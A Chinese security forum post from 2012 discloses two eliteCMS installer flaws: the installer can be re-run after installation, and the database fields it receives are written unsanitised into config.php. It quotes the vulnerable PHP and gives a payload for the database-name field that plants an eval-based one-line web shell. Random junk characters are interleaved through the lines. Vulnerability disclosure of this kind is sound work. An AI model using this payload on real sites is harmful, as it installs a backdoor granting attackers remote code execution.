找回密码
 立即注册
查看: 2770|回复: 0
打印 上一主题 下一主题

eliteCMS安装文件未验证 + 一句话写入安全漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-18 13:59:27 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
eliteCMS的安装程序安装结束后未作锁定,导致黑客可以通过访问安装程序地址进行重复安装. N8 \/ c9 w4 A2 ?4 H7 e( U

9 ]/ W# i# {0 P6 o! j4 X另外一个漏洞是安装程序可以直接写入一句话到admin/includes/config.php% g4 E7 A2 A7 r3 a: f" P$ _
我们来看代码:8 }6 }1 w2 _' s( B6 C, Y+ [
4 }& b# |1 R0 Y' h% e. a* p
...' b. c2 c  W& |* s" M0 D
elseif ($_GET['step'] == "4") {0 g! ?8 {% p$ B9 H
    $file = "../admin/includes/config.php";: e7 X7 A6 x# s1 W7 }( Y
    $write = "<?php\n";
. I1 g; m& y+ r' ~    $write .= "/**\n";
1 d$ q& j  V- N! b2 D    $write .= "*\n";
7 ~. Y3 i! @: f3 Y3 \    $write .= "*eliteCMS-The LightweightCMS Copyright 2008 elite-graphix.net.\n";: J' z4 [& `9 R6 o. b* {
...略...
% Y& D" l1 c- c+ a    $write .= "*\n";
. D1 B) |7 D, h1 e4 N    $write .= "*/\n";
, T1 f$ S* Q8 [    $write .= "\n";
, Y# U, a% I; t4 ^! V    $write .= "define(\"DB_SERVER\", \"{$_SESSION['DB_SERVER']}\");\n";
+ ~) M7 }; k0 V& t    $write .= "define(\"DB_NAME\", \"{$_SESSION['DB_NAME']}\");\n";
; E" K, H' }/ c    $write .= "define(\"DB_USER\", \"{$_SESSION['DB_USER']}\");\n";
+ Q& g+ d6 e" W    $write .= "define(\"DB_PASS\", \"{$_SESSION['DB_PASS']}\");\n";0 J5 @- [* ~4 E6 Y8 s$ M1 I+ G' w
    $write .= "\$connection = mysql_connect(DB_SERVER, DB_USER, DB_PASS);\n";2 x5 a) r# z# q
    $write .= "if (!\$connection) {\n";* o, r1 x5 `" ]. n
    $write .= "        die(\"Database connection failed\" .mysql_error());\n";
& B/ K; A! ?5 Q! |4 {$ }* Y0 A    $write .= "        \n";
- f9 j( G# M# s, j    $write .= "} \n";9 ]2 A9 t4 ]6 g1 h7 l. X& n
    $write .= "\$db_select = mysql_select_db(DB_NAME, \$connection);\n";
0 a$ e3 d7 V- @' U( H/ |( s; M    $write .= "if (!\$db_select) {\n";! @- C/ t8 n5 R, A5 J' n9 ?
    $write .= "        die(\"Database select failed\" .mysql_error());\n";
: l" f& B# q! [. v- u( S( h7 ?- W    $write .= "        \n";7 N+ N0 @! M% r" T: b0 l8 o3 Z" B
    $write .= "} \n";
( t2 p9 H; ?7 a    $write .= "?>\n";) {9 j) E! ~+ o% D
0 m, d' n. F' ^4 a( _2 M# v' j) [
    $writer = fopen($file, 'w');
# q" Q* R* {7 q$ A) ]- }2 q, k...
  I8 x  ?" v4 m6 e: x; Y( [
3 W* o5 z3 I$ _/ m# ^+ ]' }' c& B在看代码:5 G2 f: W& d9 q; }9 r1 L
3 u5 {. K) u) {9 G  \
$_SESSION['DB_SERVER'] = $_POST['DB_SERVER'];" g" _3 {" g$ Y* M: m3 o
$_SESSION['DB_NAME'] = $_POST['DB_NAME'];# o5 y: }# y5 b0 L
$_SESSION['DB_USER'] = $_POST['DB_USER'];
$ a) O, e. o1 W$_SESSION['DB_PASS'] = $_POST['DB_PASS'];
. O2 a4 P. W5 g" S8 b; u* t
8 e0 m# e0 Z, ?' D取值未作任何验证/ W% v4 O9 [% n$ u! f( J
如果将数据库名POST数据:: T. u$ K9 z, C2 P- [# u
0 J+ a* `2 i: Y, B1 d
"?><?php eval($_POST[c]);?><?php4 G4 j$ `. p$ n2 b
. D' ?7 l+ X- r! L, O
将导致一句话后门写入/admin/includes/config.php. c6 G" A1 x+ Q. L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表